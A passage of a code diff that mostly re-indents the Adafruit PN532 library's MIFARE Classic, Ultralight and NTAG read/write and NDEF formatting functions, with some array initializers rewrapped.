| 946 | − | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 947 | − | pn532_packetbuffer[3] = | |
| 948 | − | blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ | |
| 946 | + | /* Prepare the command */ | |
| 947 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 948 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 949 | + | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 950 | + | pn532_packetbuffer[3] = | |
| 951 | + | blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ | |
| 949 | 952 | ||
| 950 | − | /* Send the command */ | |
| 951 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 953 | + | /* Send the command */ | |
| 954 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 952 | 955 | #ifdef MIFAREDEBUG | |
| 953 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for read command")); | |
| 956 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for read command")); | |
| 954 | 957 | #endif | |
| 955 | − | return 0; | |
| 956 | − | } | |
| 958 | + | return 0; | |
| 959 | + | } | |
| 957 | 960 | ||
| 958 | − | /* Read the response packet */ | |
| 959 | − | readdata(pn532_packetbuffer, 26); | |
| 961 | + | /* Read the response packet */ | |
| 962 | + | readdata(pn532_packetbuffer, 26); | |
| 960 | 963 | ||
| 961 | − | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 962 | − | if (pn532_packetbuffer[7] != 0x00) { | |
| 964 | + | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 965 | + | if (pn532_packetbuffer[7] != 0x00) { | |
| 963 | 966 | #ifdef MIFAREDEBUG | |
| 964 | − | PN532DEBUGPRINT.println(F("Unexpected response")); | |
| 965 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 967 | + | PN532DEBUGPRINT.println(F("Unexpected response")); | |
| 968 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 966 | 969 | #endif | |
| 967 | − | return 0; | |
| 968 | − | } | |
| 970 | + | return 0; | |
| 971 | + | } | |
| 969 | 972 | ||
| 970 | − | /* Copy the 16 data bytes to the output buffer */ | |
| 971 | − | /* Block content starts at byte 9 of a valid response */ | |
| 972 | − | memcpy(data, pn532_packetbuffer + 8, 16); | |
| 973 | + | /* Copy the 16 data bytes to the output buffer */ | |
| 974 | + | /* Block content starts at byte 9 of a valid response */ | |
| 975 | + | memcpy(data, pn532_packetbuffer + 8, 16); | |
| 973 | 976 | ||
| 974 | 977 | /* Display data for debug if requested */ | |
| 975 | 978 | #ifdef MIFAREDEBUG | |
| 976 | − | PN532DEBUGPRINT.print(F("Block ")); | |
| 977 | − | PN532DEBUGPRINT.println(blockNumber); | |
| 978 | − | Adafruit_PN532::PrintHexChar(data, 16); | |
| 979 | + | PN532DEBUGPRINT.print(F("Block ")); | |
| 980 | + | PN532DEBUGPRINT.println(blockNumber); | |
| 981 | + | Adafruit_PN532::PrintHexChar(data, 16); | |
| 979 | 982 | #endif | |
| 980 | 983 | ||
| 981 | − | return 1; | |
| 984 | + | return 1; | |
| 982 | 985 | } | |
| 983 | 986 | ||
| 984 | 987 | /**************************************************************************/ | |
| @@ -996,31 +999,31 @@ uint8_t Adafruit_PN532::mifareclassic_ReadDataBlock(uint8_t blockNumber, | |||
| 996 | 999 | uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber, | |
| 997 | 1000 | uint8_t *data) { | |
| 998 | 1001 | #ifdef MIFAREDEBUG | |
| 999 | − | PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block ")); | |
| 1000 | − | PN532DEBUGPRINT.println(blockNumber); | |
| 1002 | + | PN532DEBUGPRINT.print(F("Trying to write 16 bytes to block ")); | |
| 1003 | + | PN532DEBUGPRINT.println(blockNumber); | |
| 1001 | 1004 | #endif | |
| 1002 | 1005 | ||
| 1003 | − | /* Prepare the first command */ | |
| 1004 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1005 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1006 | − | pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */ | |
| 1007 | − | pn532_packetbuffer[3] = | |
| 1008 | − | blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ | |
| 1009 | − | memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */ | |
| 1006 | + | /* Prepare the first command */ | |
| 1007 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1008 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1009 | + | pn532_packetbuffer[2] = MIFARE_CMD_WRITE; /* Mifare Write command = 0xA0 */ | |
| 1010 | + | pn532_packetbuffer[3] = | |
| 1011 | + | blockNumber; /* Block Number (0..63 for 1K, 0..255 for 4K) */ | |
| 1012 | + | memcpy(pn532_packetbuffer + 4, data, 16); /* Data Payload */ | |
| 1010 | 1013 | ||
| 1011 | − | /* Send the command */ | |
| 1012 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 20)) { | |
| 1014 | + | /* Send the command */ | |
| 1015 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 20)) { | |
| 1013 | 1016 | #ifdef MIFAREDEBUG | |
| 1014 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1017 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1015 | 1018 | #endif | |
| 1016 | − | return 0; | |
| 1017 | − | } | |
| 1018 | − | delay(10); | |
| 1019 | + | return 0; | |
| 1020 | + | } | |
| 1021 | + | delay(10); | |
| 1019 | 1022 | ||
| 1020 | − | /* Read the response packet */ | |
| 1021 | − | readdata(pn532_packetbuffer, 26); | |
| 1023 | + | /* Read the response packet */ | |
| 1024 | + | readdata(pn532_packetbuffer, 26); | |
| 1022 | 1025 | ||
| 1023 | − | return 1; | |
| 1026 | + | return 1; | |
| 1024 | 1027 | } | |
| 1025 | 1028 | ||
| 1026 | 1029 | /**************************************************************************/ | |
| @@ -1031,27 +1034,30 @@ uint8_t Adafruit_PN532::mifareclassic_WriteDataBlock(uint8_t blockNumber, | |||
| 1031 | 1034 | */ | |
| 1032 | 1035 | /**************************************************************************/ | |
| 1033 | 1036 | uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) { | |
| 1034 | − | uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, | |
| 1035 | − | 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; | |
| 1036 | − | uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, | |
| 1037 | − | 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1}; | |
| 1038 | − | uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0x78, 0x77, | |
| 1039 | − | 0x88, 0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; | |
| 1040 | − | ||
| 1041 | − | // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A | |
| 1042 | − | // for the MAD sector in NDEF records (sector 0) | |
| 1043 | − | ||
| 1044 | − | // Write block 1 and 2 to the card | |
| 1045 | − | if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1))) | |
| 1046 | − | return 0; | |
| 1047 | − | if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2))) | |
| 1048 | − | return 0; | |
| 1049 | − | // Write key A and access rights card | |
| 1050 | − | if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3))) | |
| 1051 | − | return 0; | |
| 1052 | − | ||
| 1053 | − | // Seems that everything was OK (?!) | |
| 1054 | − | return 1; | |
| 1037 | + | uint8_t sectorbuffer1[16] = {0x14, 0x01, 0x03, 0xE1, 0x03, 0xE1, | |
| 1038 | + | 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, | |
| 1039 | + | 0x03, 0xE1, 0x03, 0xE1}; | |
| 1040 | + | uint8_t sectorbuffer2[16] = {0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, | |
| 1041 | + | 0x03, 0xE1, 0x03, 0xE1, 0x03, 0xE1, | |
| 1042 | + | 0x03, 0xE1, 0x03, 0xE1}; | |
| 1043 | + | uint8_t sectorbuffer3[16] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, | |
| 1044 | + | 0x78, 0x77, 0x88, 0xC1, 0xFF, 0xFF, | |
| 1045 | + | 0xFF, 0xFF, 0xFF, 0xFF}; | |
| 1046 | + | ||
| 1047 | + | // Note 0xA0 0xA1 0xA2 0xA3 0xA4 0xA5 must be used for key A | |
| 1048 | + | // for the MAD sector in NDEF records (sector 0) | |
| 1049 | + | ||
| 1050 | + | // Write block 1 and 2 to the card | |
| 1051 | + | if (!(mifareclassic_WriteDataBlock(1, sectorbuffer1))) | |
| 1052 | + | return 0; | |
| 1053 | + | if (!(mifareclassic_WriteDataBlock(2, sectorbuffer2))) | |
| 1054 | + | return 0; | |
| 1055 | + | // Write key A and access rights card | |
| 1056 | + | if (!(mifareclassic_WriteDataBlock(3, sectorbuffer3))) | |
| 1057 | + | return 0; | |
| 1058 | + | ||
| 1059 | + | // Seems that everything was OK (?!) | |
| 1060 | + | return 1; | |
| 1055 | 1061 | } | |
| 1056 | 1062 | ||
| 1057 | 1063 | /**************************************************************************/ | |
| @@ -1075,81 +1081,84 @@ uint8_t Adafruit_PN532::mifareclassic_FormatNDEF(void) { | |||
| 1075 | 1081 | uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber, | |
| 1076 | 1082 | uint8_t uriIdentifier, | |
| 1077 | 1083 | const char *url) { | |
| 1078 | − | // Figure out how long the string is | |
| 1079 | − | uint8_t len = strlen(url); | |
| 1080 | − | ||
| 1081 | − | // Make sure we're within a 1K limit for the sector number | |
| 1082 | − | if ((sectorNumber < 1) || (sectorNumber > 15)) | |
| 1083 | − | return 0; | |
| 1084 | − | ||
| 1085 | − | // Make sure the URI payload is between 1 and 38 chars | |
| 1086 | − | if ((len < 1) || (len > 38)) | |
| 1087 | − | return 0; | |
| 1088 | − | ||
| 1089 | − | // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A | |
| 1090 | − | // in NDEF records | |
| 1091 | − | ||
| 1092 | − | // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message) | |
| 1093 | − | uint8_t sectorbuffer1[16] = {0x00, | |
| 1094 | − | 0x00, | |
| 1095 | − | 0x03, | |
| 1096 | − | (uint8_t)(len + 5), | |
| 1097 | − | 0xD1, | |
| 1098 | − | 0x01, | |
| 1099 | − | (uint8_t)(len + 1), | |
| 1100 | − | 0x55, | |
| 1101 | − | uriIdentifier, | |
| 1102 | − | 0x00, | |
| 1103 | − | 0x00, | |
| 1104 | − | 0x00, | |
| 1105 | − | 0x00, | |
| 1106 | − | 0x00, | |
| 1107 | − | 0x00, | |
| 1108 | − | 0x00}; | |
| 1109 | − | uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1110 | − | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; | |
| 1111 | − | uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1112 | − | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; | |
| 1113 | − | uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, 0x7F, 0x07, | |
| 1114 | − | 0x88, 0x40, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; | |
| 1115 | − | if (len <= 6) { | |
| 1116 | − | // Unlikely we'll get a url this short, but why not ... | |
| 1117 | − | memcpy(sectorbuffer1 + 9, url, len); | |
| 1118 | − | sectorbuffer1[len + 9] = 0xFE; | |
| 1119 | − | } else if (len == 7) { | |
| 1120 | − | // 0xFE needs to be wrapped around to next block | |
| 1121 | − | memcpy(sectorbuffer1 + 9, url, len); | |
| 1122 | − | sectorbuffer2[0] = 0xFE; | |
| 1123 | − | } else if ((len > 7) && (len <= 22)) { | |
| 1124 | − | // Url fits in two blocks | |
| 1125 | − | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1126 | − | memcpy(sectorbuffer2, url + 7, len - 7); | |
| 1127 | − | sectorbuffer2[len - 7] = 0xFE; | |
| 1128 | − | } else if (len == 23) { | |
| 1129 | − | // 0xFE needs to be wrapped around to final block | |
| 1130 | − | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1131 | − | memcpy(sectorbuffer2, url + 7, len - 7); | |
| 1132 | − | sectorbuffer3[0] = 0xFE; | |
| 1133 | − | } else { | |
| 1134 | − | // Url fits in three blocks | |
| 1135 | − | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1136 | − | memcpy(sectorbuffer2, url + 7, 16); | |
| 1137 | − | memcpy(sectorbuffer3, url + 23, len - 24); | |
| 1138 | − | sectorbuffer3[len - 22] = 0xFE; | |
| 1139 | − | } | |
| 1140 | − | ||
| 1141 | − | // Now write all three blocks back to the card | |
| 1142 | − | if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1))) | |
| 1143 | − | return 0; | |
| 1144 | − | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2))) | |
| 1145 | − | return 0; | |
| 1146 | − | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3))) | |
| 1147 | − | return 0; | |
| 1148 | − | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4))) | |
| 1149 | − | return 0; | |
| 1150 | − | ||
| 1151 | − | // Seems that everything was OK (?!) | |
| 1152 | − | return 1; | |
| 1084 | + | // Figure out how long the string is | |
| 1085 | + | uint8_t len = strlen(url); | |
| 1086 | + | ||
| 1087 | + | // Make sure we're within a 1K limit for the sector number | |
| 1088 | + | if ((sectorNumber < 1) || (sectorNumber > 15)) | |
| 1089 | + | return 0; | |
| 1090 | + | ||
| 1091 | + | // Make sure the URI payload is between 1 and 38 chars | |
| 1092 | + | if ((len < 1) || (len > 38)) | |
| 1093 | + | return 0; | |
| 1094 | + | ||
| 1095 | + | // Note 0xD3 0xF7 0xD3 0xF7 0xD3 0xF7 must be used for key A | |
| 1096 | + | // in NDEF records | |
| 1097 | + | ||
| 1098 | + | // Setup the sector buffer (w/pre-formatted TLV wrapper and NDEF message) | |
| 1099 | + | uint8_t sectorbuffer1[16] = {0x00, | |
| 1100 | + | 0x00, | |
| 1101 | + | 0x03, | |
| 1102 | + | (uint8_t)(len + 5), | |
| 1103 | + | 0xD1, | |
| 1104 | + | 0x01, | |
| 1105 | + | (uint8_t)(len + 1), | |
| 1106 | + | 0x55, | |
| 1107 | + | uriIdentifier, | |
| 1108 | + | 0x00, | |
| 1109 | + | 0x00, | |
| 1110 | + | 0x00, | |
| 1111 | + | 0x00, | |
| 1112 | + | 0x00, | |
| 1113 | + | 0x00, | |
| 1114 | + | 0x00}; | |
| 1115 | + | uint8_t sectorbuffer2[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1116 | + | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1117 | + | 0x00, 0x00, 0x00, 0x00}; | |
| 1118 | + | uint8_t sectorbuffer3[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1119 | + | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
| 1120 | + | 0x00, 0x00, 0x00, 0x00}; | |
| 1121 | + | uint8_t sectorbuffer4[16] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7, | |
| 1122 | + | 0x7F, 0x07, 0x88, 0x40, 0xFF, 0xFF, | |
| 1123 | + | 0xFF, 0xFF, 0xFF, 0xFF}; | |
| 1124 | + | if (len <= 6) { | |
| 1125 | + | // Unlikely we'll get a url this short, but why not ... | |
| 1126 | + | memcpy(sectorbuffer1 + 9, url, len); | |
| 1127 | + | sectorbuffer1[len + 9] = 0xFE; | |
| 1128 | + | } else if (len == 7) { | |
| 1129 | + | // 0xFE needs to be wrapped around to next block | |
| 1130 | + | memcpy(sectorbuffer1 + 9, url, len); | |
| 1131 | + | sectorbuffer2[0] = 0xFE; | |
| 1132 | + | } else if ((len > 7) && (len <= 22)) { | |
| 1133 | + | // Url fits in two blocks | |
| 1134 | + | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1135 | + | memcpy(sectorbuffer2, url + 7, len - 7); | |
| 1136 | + | sectorbuffer2[len - 7] = 0xFE; | |
| 1137 | + | } else if (len == 23) { | |
| 1138 | + | // 0xFE needs to be wrapped around to final block | |
| 1139 | + | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1140 | + | memcpy(sectorbuffer2, url + 7, len - 7); | |
| 1141 | + | sectorbuffer3[0] = 0xFE; | |
| 1142 | + | } else { | |
| 1143 | + | // Url fits in three blocks | |
| 1144 | + | memcpy(sectorbuffer1 + 9, url, 7); | |
| 1145 | + | memcpy(sectorbuffer2, url + 7, 16); | |
| 1146 | + | memcpy(sectorbuffer3, url + 23, len - 24); | |
| 1147 | + | sectorbuffer3[len - 22] = 0xFE; | |
| 1148 | + | } | |
| 1149 | + | ||
| 1150 | + | // Now write all three blocks back to the card | |
| 1151 | + | if (!(mifareclassic_WriteDataBlock(sectorNumber * 4, sectorbuffer1))) | |
| 1152 | + | return 0; | |
| 1153 | + | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 1, sectorbuffer2))) | |
| 1154 | + | return 0; | |
| 1155 | + | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 2, sectorbuffer3))) | |
| 1156 | + | return 0; | |
| 1157 | + | if (!(mifareclassic_WriteDataBlock((sectorNumber * 4) + 3, sectorbuffer4))) | |
| 1158 | + | return 0; | |
| 1159 | + | ||
| 1160 | + | // Seems that everything was OK (?!) | |
| 1161 | + | return 1; | |
| 1153 | 1162 | } | |
| 1154 | 1163 | ||
| 1155 | 1164 | /***** Mifare Ultralight Functions ******/ | |
| @@ -1166,65 +1175,65 @@ uint8_t Adafruit_PN532::mifareclassic_WriteNDEFURI(uint8_t sectorNumber, | |||
| 1166 | 1175 | /**************************************************************************/ | |
| 1167 | 1176 | uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page, | |
| 1168 | 1177 | uint8_t *buffer) { | |
| 1169 | − | if (page >= 64) { | |
| 1178 | + | if (page >= 64) { | |
| 1170 | 1179 | #ifdef MIFAREDEBUG | |
| 1171 | − | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1180 | + | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1172 | 1181 | #endif | |
| 1173 | − | return 0; | |
| 1174 | − | } | |
| 1182 | + | return 0; | |
| 1183 | + | } | |
| 1175 | 1184 | ||
| 1176 | 1185 | #ifdef MIFAREDEBUG | |
| 1177 | − | PN532DEBUGPRINT.print(F("Reading page ")); | |
| 1178 | − | PN532DEBUGPRINT.println(page); | |
| 1186 | + | PN532DEBUGPRINT.print(F("Reading page ")); | |
| 1187 | + | PN532DEBUGPRINT.println(page); | |
| 1179 | 1188 | #endif | |
| 1180 | 1189 | ||
| 1181 | − | /* Prepare the command */ | |
| 1182 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1183 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1184 | − | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 1185 | − | pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ | |
| 1190 | + | /* Prepare the command */ | |
| 1191 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1192 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1193 | + | pn532_packetbuffer[2] = MIFARE_CMD_READ; /* Mifare Read command = 0x30 */ | |
| 1194 | + | pn532_packetbuffer[3] = page; /* Page Number (0..63 in most cases) */ | |
| 1186 | 1195 | ||
| 1187 | − | /* Send the command */ | |
| 1188 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 1196 | + | /* Send the command */ | |
| 1197 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 4)) { | |
| 1189 | 1198 | #ifdef MIFAREDEBUG | |
| 1190 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1199 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1191 | 1200 | #endif | |
| 1192 | − | return 0; | |
| 1193 | − | } | |
| 1201 | + | return 0; | |
| 1202 | + | } | |
| 1194 | 1203 | ||
| 1195 | − | /* Read the response packet */ | |
| 1196 | − | readdata(pn532_packetbuffer, 26); | |
| 1204 | + | /* Read the response packet */ | |
| 1205 | + | readdata(pn532_packetbuffer, 26); | |
| 1197 | 1206 | #ifdef MIFAREDEBUG | |
| 1198 | − | PN532DEBUGPRINT.println(F("Received: ")); | |
| 1199 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1207 | + | PN532DEBUGPRINT.println(F("Received: ")); | |
| 1208 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1200 | 1209 | #endif | |
| 1201 | 1210 | ||
| 1202 | − | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 1203 | − | if (pn532_packetbuffer[7] == 0x00) { | |
| 1204 | − | /* Copy the 4 data bytes to the output buffer */ | |
| 1205 | − | /* Block content starts at byte 9 of a valid response */ | |
| 1206 | − | /* Note that the command actually reads 16 byte or 4 */ | |
| 1207 | − | /* pages at a time ... we simply discard the last 12 */ | |
| 1208 | − | /* bytes */ | |
| 1209 | − | memcpy(buffer, pn532_packetbuffer + 8, 4); | |
| 1210 | − | } else { | |
| 1211 | + | /* If byte 8 isn't 0x00 we probably have an error */ | |
| 1212 | + | if (pn532_packetbuffer[7] == 0x00) { | |
| 1213 | + | /* Copy the 4 data bytes to the output buffer */ | |
| 1214 | + | /* Block content starts at byte 9 of a valid response */ | |
| 1215 | + | /* Note that the command actually reads 16 byte or 4 */ | |
| 1216 | + | /* pages at a time ... we simply discard the last 12 */ | |
| 1217 | + | /* bytes */ | |
| 1218 | + | memcpy(buffer, pn532_packetbuffer + 8, 4); | |
| 1219 | + | } else { | |
| 1211 | 1220 | #ifdef MIFAREDEBUG | |
| 1212 | − | PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); | |
| 1213 | − | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1221 | + | PN532DEBUGPRINT.println(F("Unexpected response reading block: ")); | |
| 1222 | + | Adafruit_PN532::PrintHexChar(pn532_packetbuffer, 26); | |
| 1214 | 1223 | #endif | |
| 1215 | − | return 0; | |
| 1216 | − | } | |
| 1224 | + | return 0; | |
| 1225 | + | } | |
| 1217 | 1226 | ||
| 1218 | 1227 | /* Display data for debug if requested */ | |
| 1219 | 1228 | #ifdef MIFAREDEBUG | |
| 1220 | − | PN532DEBUGPRINT.print(F("Page ")); | |
| 1221 | − | PN532DEBUGPRINT.print(page); | |
| 1222 | − | PN532DEBUGPRINT.println(F(":")); | |
| 1223 | − | Adafruit_PN532::PrintHexChar(buffer, 4); | |
| 1229 | + | PN532DEBUGPRINT.print(F("Page ")); | |
| 1230 | + | PN532DEBUGPRINT.print(page); | |
| 1231 | + | PN532DEBUGPRINT.println(F(":")); | |
| 1232 | + | Adafruit_PN532::PrintHexChar(buffer, 4); | |
| 1224 | 1233 | #endif | |
| 1225 | 1234 | ||
| 1226 | − | // Return OK signal | |
| 1227 | − | return 1; | |
| 1235 | + | // Return OK signal | |
| 1236 | + | return 1; | |
| 1228 | 1237 | } | |
| 1229 | 1238 | ||
| 1230 | 1239 | /**************************************************************************/ | |
| @@ -1242,43 +1251,44 @@ uint8_t Adafruit_PN532::mifareultralight_ReadPage(uint8_t page, | |||
| 1242 | 1251 | uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page, | |
| 1243 | 1252 | uint8_t *data) { | |
| 1244 | 1253 | ||
| 1245 | − | if (page >= 64) { | |
| 1254 | + | if (page >= 64) { | |
| 1246 | 1255 | #ifdef MIFAREDEBUG | |
| 1247 | − | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1256 | + | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1248 | 1257 | #endif | |
| 1249 | − | // Return Failed Signal | |
| 1250 | − | return 0; | |
| 1251 | − | } | |
| 1258 | + | // Return Failed Signal | |
| 1259 | + | return 0; | |
| 1260 | + | } | |
| 1252 | 1261 | ||
| 1253 | 1262 | #ifdef MIFAREDEBUG | |
| 1254 | − | PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); | |
| 1255 | − | PN532DEBUGPRINT.println(page); | |
| 1263 | + | PN532DEBUGPRINT.print(F("Trying to write 4 byte page")); | |
| 1264 | + | PN532DEBUGPRINT.println(page); | |
| 1256 | 1265 | #endif | |
| 1257 | 1266 | ||
| 1258 | − | /* Prepare the first command */ | |
| 1259 | − | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1260 | − | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1261 | − | pn532_packetbuffer[2] = | |
| 1262 | − | MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 */ | |
| 1263 | − | pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ | |
| 1264 | − | memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ | |
| 1265 | − | ||
| 1266 | − | /* Send the command */ | |
| 1267 | − | if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { | |
| 1267 | + | /* Prepare the first command */ | |
| 1268 | + | pn532_packetbuffer[0] = PN532_COMMAND_INDATAEXCHANGE; | |
| 1269 | + | pn532_packetbuffer[1] = 1; /* Card number */ | |
| 1270 | + | pn532_packetbuffer[2] = | |
| 1271 | + | MIFARE_ULTRALIGHT_CMD_WRITE; /* Mifare Ultralight Write command = 0xA2 | |
| 1272 | + | */ | |
| 1273 | + | pn532_packetbuffer[3] = page; /* Page Number (0..63 for most cases) */ | |
| 1274 | + | memcpy(pn532_packetbuffer + 4, data, 4); /* Data Payload */ | |
| 1275 | + | ||
| 1276 | + | /* Send the command */ | |
| 1277 | + | if (!sendCommandCheckAck(pn532_packetbuffer, 8)) { | |
| 1268 | 1278 | #ifdef MIFAREDEBUG | |
| 1269 | − | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1279 | + | PN532DEBUGPRINT.println(F("Failed to receive ACK for write command")); | |
| 1270 | 1280 | #endif | |
| 1271 | 1281 | ||
| 1272 | − | // Return Failed Signal | |
| 1273 | − | return 0; | |
| 1274 | − | } | |
| 1275 | − | delay(10); | |
| 1282 | + | // Return Failed Signal | |
| 1283 | + | return 0; | |
| 1284 | + | } | |
| 1285 | + | delay(10); | |
| 1276 | 1286 | ||
| 1277 | − | /* Read the response packet */ | |
| 1278 | − | readdata(pn532_packetbuffer, 26); | |
| 1287 | + | /* Read the response packet */ | |
| 1288 | + | readdata(pn532_packetbuffer, 26); | |
| 1279 | 1289 | ||
| 1280 | − | // Return OK Signal | |
| 1281 | − | return 1; | |
| 1290 | + | // Return OK Signal | |
| 1291 | + | return 1; | |
| 1282 | 1292 | } | |
| 1283 | 1293 | ||
| 1284 | 1294 | /***** NTAG2xx Functions ******/ | |
| @@ -1294,72 +1304,72 @@ uint8_t Adafruit_PN532::mifareultralight_WritePage(uint8_t page, | |||
| 1294 | 1304 | */ | |
| 1295 | 1305 | /**************************************************************************/ | |
| 1296 | 1306 | uint8_t Adafruit_PN532::ntag2xx_ReadPage(uint8_t page, uint8_t *buffer) { | |
| 1297 | − | // TAG Type PAGES USER START USER STOP | |
| 1298 | − | // -------- ----- ---------- --------- | |
| 1299 | − | // NTAG 203 42 4 39 | |
| 1300 | − | // NTAG 213 45 4 39 | |
| 1301 | − | // NTAG 215 135 4 129 | |
| 1302 | − | // NTAG 216 231 4 225 | |
| 1303 | − | ||
| 1304 | − | if (page >= 231) { | |
| 1307 | + | // TAG Type PAGES USER START USER STOP | |
| 1308 | + | // -------- ----- ---------- --------- | |
| 1309 | + | // NTAG 203 42 4 39 | |
| 1310 | + | // NTAG 213 45 4 39 | |
| 1311 | + | // NTAG 215 135 4 129 | |
| 1312 | + | // NTAG 216 231 4 225 | |
| 1313 | + | ||
| 1314 | + | if (page >= 231) { | |
| 1305 | 1315 | #ifdef MIFAREDEBUG | |
| 1306 | − | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1316 | + | PN532DEBUGPRINT.println(F("Page value out of range")); | |
| 1307 | 1317 | #endif | |
| 1308 | − | return 0; | |
| 1309 | − | } | |
| 1318 | + | return 0; | |
| 1319 | + | } | |
| 1310 | 1320 | ||
| 1311 | 1321 | #ifdef MIFAREDEBUG | |
| 1312 | − | PN532DEBUGPRINT.print(F("Reading page ")); | |
| 1313 | − | PN532DEBUGPRINT.println(page); | |
| 1322 | + | PN532DEBUGPRINT.print(F("Reading page ")); | |
| 1323 | + | PN532DEBUGPRINT.println(page); | |
